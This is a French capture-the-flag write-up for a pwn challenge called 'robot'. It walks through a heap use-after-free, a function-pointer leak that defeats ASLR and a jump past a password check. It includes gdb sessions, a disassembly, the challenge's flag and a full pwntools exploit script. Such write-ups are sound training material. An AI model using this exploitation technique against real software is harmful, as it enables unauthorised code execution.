Découverte
On lance l’application pour étudier son fonctionnement :
$ ./robot
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> plop
Vous construisez un nouveau robot. plop est un très joli nom pour un robot !
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 3
Vous allumez le robot. plop se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... plop prend feu !!!
plop est complètement détruit
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 6
Enter admin password
> plop
ERROR: wrong password!
Je ne passe pas partout, mais visiblement, on peut jouer un robot, et rédiger un mode d’emploi. Il y a aussi un espace admin, qui est protégé par un mot de passe. La suite se fait plutôt par analyse du code. Il y a deux structures qui définissent un robot et un mode d’emploi :
struct Robot {
char name[16];
void (*makeNoise)();
void (*move)();
};
struct RobotUserGuide {
char guide[32];
};
Ensuite, les différents choix du menu sont décrits ci-dessous :
- Alloue sur le tas un espace pour une structure
Robot
. - Fait beeper le robot, ce n’est pas très intéressant…
- Fait bouger le robot, ce qui le détruit, et libère l’espace alloué pour la structure.
- Alloue sur le tas un espace pour une structure
RobotUserGuide
et la remplie avec les 32 caractères saisis par l’utilisateur. - Affiche le mode d’emploi initialisé au choix précédent.
- Accède à l’espace d’administration, qui va afficher le flag contenu dans un fichier si on fournit un mot de passe dont le SHA256 est codé en dur.
On oublie tout de suite le hash dans le code : s’il est présent, c’est probablement qu’il n’est pas cassable. En revanche, il est plus intéressant de tracer les différents appels à l’allocateur :
- lorsque le robot est détruit, on libère la structure mais la variable qui pointe dessus n’est pas modifiée.
- il n’y a pas de possibilité de détruire un mode d’emploi, donc la variable qui pointe dessus reste à l’infini.
- les deux structures ont la même taille (ça c’est bien pratique…)
- la structure du robot contient deux pointeurs de fonctions. Toutes ces observations nous poussent vers la solution : on est en présence d’un Use After Free.
Première exploitation
Il s’agit d’abord de déterminer si on peut détourner l’exécution du programme au travers de cette vulnérabilité. La cible va évidemment d’essayer d’écraser les pointeurs de fonction du robot. Une possibilité de le faire est de suivre les actions suivantes :
- créer un robot, ce qui alloue la structure.
- «jouer» avec le robot, ce qui détruit la structure, tout en maintenant le pointeur de robot sur l’emplacement alloué.
- écrire un guide utilisateur, ce qui va allouer une structure à l’emplacement de celle du robot.
Au final, la structure du robot va pointer sur notre guide utilisateur et on maîtrise donc les pointeurs de fonction.
Faisons l’essai immédiatement à l’aide de gdb
:
$ gdb ./robot
gef➤ run
Starting program: robot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> plop
Vous construisez un nouveau robot. plop est un très joli nom pour un robot !
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 3
Vous allumez le robot. plop se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... plop prend feu !!!
plop est complètement détruit
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 4
Vous commencez à rédiger le mode d'emploi...
> AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 3
Program received signal SIGSEGV, Segmentation fault.
0x00005555555556d1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0000555555555860 → <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x43434343434343
$rsp : 0x00007fffffffd8c0 → 0x0000004000330000
$rbp : 0x00007fffffffd930 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x0000555555559ac0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
$rip : 0x00005555555556d1 → <main+504> call rdx
$r8 : 0xa
$r9 : 0x17
$r10 : 0x00005555555561ce → "Vous allumez le robot. "
$r11 : 0x246
$r12 : 0x0000555555555180 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffda20 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd8c0│+0x0000: 0x0000004000330000 ← $rsp
0x00007fffffffd8c8│+0x0008: 0x0000000000000040 ("@"?)
0x00007fffffffd8d0│+0x0010: 0x0000555555559ac0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
0x00007fffffffd8d8│+0x0018: 0x0000555555559ac0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC"
0x00007fffffffd8e0│+0x0020: 0x00000000706f6c70 ("plop"?)
0x00007fffffffd8e8│+0x0028: 0x0000000000000000
0x00007fffffffd8f0│+0x0030: 0x0000000000000000
0x00007fffffffd8f8│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555556c5 <main+492> mov rax, QWORD PTR [rbp-0x60]
0x5555555556c9 <main+496> mov rdi, rax
0x5555555556cc <main+499> mov eax, 0x0
→ 0x5555555556d1 <main+504> call rdx
0x5555555556d3 <main+506> mov rax, QWORD PTR [rbp-0x60]
0x5555555556d7 <main+510> mov rsi, rax
0x5555555556da <main+513> lea rdi, [rip+0xb07] # 0x5555555561e8
0x5555555556e1 <main+520> mov eax, 0x0
0x5555555556e6 <main+525> call 0x555555555030 <printf@plt>
─────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x43434343434343 (
$rdi = 0x0000555555559ac0 → "AAAAAAAAAAAAAAAABBBBBBBBCCCCCCC",
$rsi = 0x0000000000000000,
$rdx = 0x0043434343434343
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "robot", stopped 0x5555555556d1 in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555556d1 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
Le programme crashe sur un call rdx
, où rdx
vaut 0x43434343434343
, soit les CCCCCCCC
que l’on a écrit
dans le mode d’emploi. Parfait, il nous suffit maintenant d’écraser avec l’adresse d’admin()
et c’est fini ? Malheureusement non,
ASLR
va nous en empêcher.
ASLR bypass
ASLR
étant activé sur la cible, on ne peut pas connaître à l’avance l’adresse de la fonction admin()
. Idéalement,
il faudrait faire fuiter cette adresse. Et par la même vulnérabilité, il est possible de le faire. Plus exactement,
on peut faire fuiter les adresses de makeNoise()
et move()
, et en déduire le décalage général d’adresses provoqué
par ASLR
. Cette fois ci, on va organiser les actions pour appeler l’affichage d’un guide utilisateur sur la structure
d’un ancien robot :
- créer un robot, ce qui alloue la structure.
- «jouer» avec le robot, ce qui détruit la structure, tout en maintenant le pointeur de robot sur l’emplacement alloué.
- écrire un guide utilisateur vide, ce qui va allouer une structure à l’emplacement de celle du robot sans écraser ses données.
- lire le guide utilisateur.
Essayons de nouveau avec gdb en breakant au début de la boucle d’affichage du guide utilisateur :
gef➤ b *0x000055555555577a
gef➤ run
Starting program: /home/wrxn5498/tmp/robot - DONE/robot
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 1
Comment vous l'appelez ?
> papy
Vous construisez un nouveau robot. papy est un très joli nom pour un robot !
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 3
Vous allumez le robot. papy se déplace en grinçant !
De la fumée commence à apparaître, puis des étincelles... papy prend feu !!!
papy est complètement détruit
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 4
Vous commencez à rédiger le mode d'emploi...
>
Que faites-vous ?
1: Construire un robot 4: Rédiger le mode d'emploi
2: Le faire parler 5: Afficher le mode d'emploi
3: Jouer avec le robot 6: Admin
0: Quitter
> 5
Breakpoint 1, 0x000055555555577a in main ()
gef➤ x/8x $rdx
0x555555559ac0: 0x0000000a 0x00000000 0x00000000 0x00000000
0x555555559ad0: 0x55555289 0x00005555 0x555552fc 0x00005555
gef➤ continue
Continuing.
�RUUUU�RUUUU
L’affichage contient bien les deux adresses de makeNoise()
et move()
. Ce qui est intéressant,
c’est que connaissant l’adresse d’une de ces deux fonctions dans le binaire, à partir de l’adresse
fuitée on peut en déduire l’offset des adresses à l’exécution. Ainsi, l’adresse d’admin()
à l’exécution
sera également son adresse dans le binaire ajouté de cet offset.
Password bypass
C’est bien beau tout ça, on va appeler admin()
, mais avec quel mot de passe ? En fait, on n’est pas obligé
de sauter au début de la fonction. Il est aussi possible de sauter à l’intérieur de la fonction en bypassant
la vérification du mot de passe. Par exemple :
void admin(char *pwd)
{
unsigned char hash[SHA256_DIGEST_LENGTH];
char result[65];
SHA256((const unsigned char *) pwd, strlen(pwd), hash);
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
sprintf(result + (i * 2), "%02x", hash[i]);
}
if (strcmp(result, encrypted) == 0) {
execl("/bin/cat", "/bin/cat", "flag.txt", NULL); // Sauter directement ICI !
perror("execl");
exit(2);
} else {
puts("ERROR: wrong password!");
}
}
Dans la version compilée, on trouve l’adresse grâce à gdb :
gef➤ disass admin
Dump of assembler code for function admin:
0x00000000000013d7 <+0>: push rbp
0x00000000000013d8 <+1>: mov rbp,rsp
0x00000000000013db <+4>: sub rsp,0x90
0x00000000000013e2 <+11>: mov QWORD PTR [rbp-0x88],rdi
0x00000000000013e9 <+18>: mov rax,QWORD PTR fs:0x28
0x00000000000013f2 <+27>: mov QWORD PTR [rbp-0x8],rax
0x00000000000013f6 <+31>: xor eax,eax
0x00000000000013f8 <+33>: mov rax,QWORD PTR [rbp-0x88]
0x00000000000013ff <+40>: mov rdi,rax
0x0000000000001402 <+43>: call 0x10c0 <strlen@plt>
0x0000000000001407 <+48>: mov rcx,rax
0x000000000000140a <+51>: lea rdx,[rbp-0x70]
0x000000000000140e <+55>: mov rax,QWORD PTR [rbp-0x88]
0x0000000000001415 <+62>: mov rsi,rcx
0x0000000000001418 <+65>: mov rdi,rax
0x000000000000141b <+68>: call 0x1090 <SHA256@plt>
0x0000000000001420 <+73>: mov DWORD PTR [rbp-0x74],0x0
0x0000000000001427 <+80>: jmp 0x145f <admin+136>
0x0000000000001429 <+82>: mov eax,DWORD PTR [rbp-0x74]
0x000000000000142c <+85>: cdqe
0x000000000000142e <+87>: movzx eax,BYTE PTR [rbp+rax*1-0x70]
0x0000000000001433 <+92>: movzx eax,al
0x0000000000001436 <+95>: mov edx,DWORD PTR [rbp-0x74]
0x0000000000001439 <+98>: add edx,edx
0x000000000000143b <+100>: movsxd rdx,edx
0x000000000000143e <+103>: lea rcx,[rbp-0x50]
0x0000000000001442 <+107>: add rcx,rdx
0x0000000000001445 <+110>: mov edx,eax
0x0000000000001447 <+112>: lea rsi,[rip+0xc5f] # 0x20ad
0x000000000000144e <+119>: mov rdi,rcx
0x0000000000001451 <+122>: mov eax,0x0
0x0000000000001456 <+127>: call 0x10d0 <sprintf@plt>
0x000000000000145b <+132>: add DWORD PTR [rbp-0x74],0x1
0x000000000000145f <+136>: cmp DWORD PTR [rbp-0x74],0x1f
0x0000000000001463 <+140>: jle 0x1429 <admin+82>
0x0000000000001465 <+142>: lea rax,[rbp-0x50]
0x0000000000001469 <+146>: lea rsi,[rip+0x2bb0] # 0x4020 <encrypted>
0x0000000000001470 <+153>: mov rdi,rax
0x0000000000001473 <+156>: call 0x1120 <strcmp@plt>
0x0000000000001478 <+161>: test eax,eax
0x000000000000147a <+163>: jne 0x14b6 <admin+223>
0x000000000000147c <+165>: mov ecx,0x0 # On saute ICI
0x0000000000001481 <+170>: lea rdx,[rip+0xc2a] # 0x20b2
0x0000000000001488 <+177>: lea rsi,[rip+0xc2c] # 0x20bb
0x000000000000148f <+184>: lea rdi,[rip+0xc25] # 0x20bb
0x0000000000001496 <+191>: mov eax,0x0
0x000000000000149b <+196>: call 0x1070 <execl@plt>
0x00000000000014a0 <+201>: lea rdi,[rip+0xc1d] # 0x20c4
0x00000000000014a7 <+208>: call 0x1140 <perror@plt>
0x00000000000014ac <+213>: mov edi,0x2
0x00000000000014b1 <+218>: call 0x1050 <exit@plt>
0x00000000000014b6 <+223>: lea rdi,[rip+0xc0d] # 0x20ca
0x00000000000014bd <+230>: call 0x1040 <puts@plt>
0x00000000000014c2 <+235>: nop
0x00000000000014c3 <+236>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000014c7 <+240>: sub rax,QWORD PTR fs:0x28
0x00000000000014d0 <+249>: je 0x14d7 <admin+256>
0x00000000000014d2 <+251>: call 0x1110 <__stack_chk_fail@plt>
0x00000000000014d7 <+256>: leave
0x00000000000014d8 <+257>: ret
End of assembler dump.
On en déduit qu’il faut sauter à admin()+165
. On a tout ce qu’il faut, reste à écrire un joli exploit.
Exploit final
L’exploit complet ci-dessous est écrit en python, à l’aide de la librairie pwntools qui se charge de tous les détails pour nous.
À l’exécution, on obtient :
[+] Opening connection to localhost on port 4000: Done
[*] Finding symbol adresses...
[*] '/home/papy/Challenges/write-ups/ctf-writeups/fcsc2023/Pwn/robot/robot'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
makeNoise() symbol: 0x1289
admin() symbol: 0x13d7
[*] Leaking addresses...
makeNoise addr: 0x57635de52289, makeNoise symbol: 0x1289, delta:0x57635de51000
[*] Exploit...
We want to jump to 0x57635de5247c
Send payload b'AAAAAAAAAAAAAAAABBBBBBBB|$\xe5]cW\x00\x00'
[+] Receiving all data: Done (285B)
[*] Closed connection to localhost port 4000
[+] Flag: FCSC{136e057aa66dd6d6b772cae51260121f65973ff2045ec812ad597c9060a6a18d}
Script de résolution
#!/usr/bin/env python3
from pwn import * # Import pwntools
import re
import sys
# Arguments
if '-test' in sys.argv:
p = process('./robot')
else:
p = remote('localhost', 4000)
if '-v' in sys.argv:
context.log_level = 'debug' # Enable logging
# Find addresses
log.info('Finding symbol adresses...')
elf = ELF('./robot') # Extract data from binary
make_noise_symbol = elf.symbols['bleep']
print(f'\tmakeNoise() symbol: {hex(make_noise_symbol)}')
admin_symbol = elf.symbols['admin']
print(f'\tadmin() symbol: {hex(admin_symbol)}')
# ASLR bypass
log.info('Leaking addresses...')
p.sendlineafter(b'0: Quitter\n', b'1') # Créer robot
p.sendlineafter(b'l\'appelez ?\n', b'plop') # Son nom
p.sendlineafter(b'0: Quitter\n', b'3') # Jouer => destruction
p.sendlineafter(b'0: Quitter\n', b'4') # Rédiger mode emploi
p.sendlineafter(b'emploi...\n', b'') # Mode emploi
p.sendlineafter(b'0: Quitter\n', b'5') # Lire mode emploi
received = p.recvuntil(b'Que faites-vous ?') # Leak les adresses
log.debug(f'\tReceived: {received}')
make_noise_addr = u64(received[18:26])
delta = make_noise_addr - make_noise_symbol
print(f'\tmakeNoise addr: {hex(make_noise_addr)}, makeNoise symbol: {hex(make_noise_symbol)}, delta:{hex(delta)}')
# Exploitation
log.info('Exploit...')
target_addr = admin_symbol + delta + 165
print(f'\tWe want to jump to {hex(target_addr)}')
p.sendlineafter(b'0: Quitter\n', b'1') # Créer robot
p.sendlineafter(b'l\'appelez ?\n', b'plop') # Son nom
p.sendlineafter(b'0: Quitter\n', b'3') # Jouer => destruction
p.sendlineafter(b'0: Quitter\n', b'4') # Rédiger mode emploi
payload = b'A'*16 + b'B'*8 + p64(target_addr)
print(f'\tSend payload {payload}')
p.sendlineafter(b'emploi...\n', payload) # Mode emploi
p.sendlineafter(b'0: Quitter\n', b'3') # Parler
output = p.recvall().decode('utf-8').strip('\n')
flag = re.search(r'(FCSC{.*})', output).group(1)
log.success(f'Flag: {flag}')
p.close()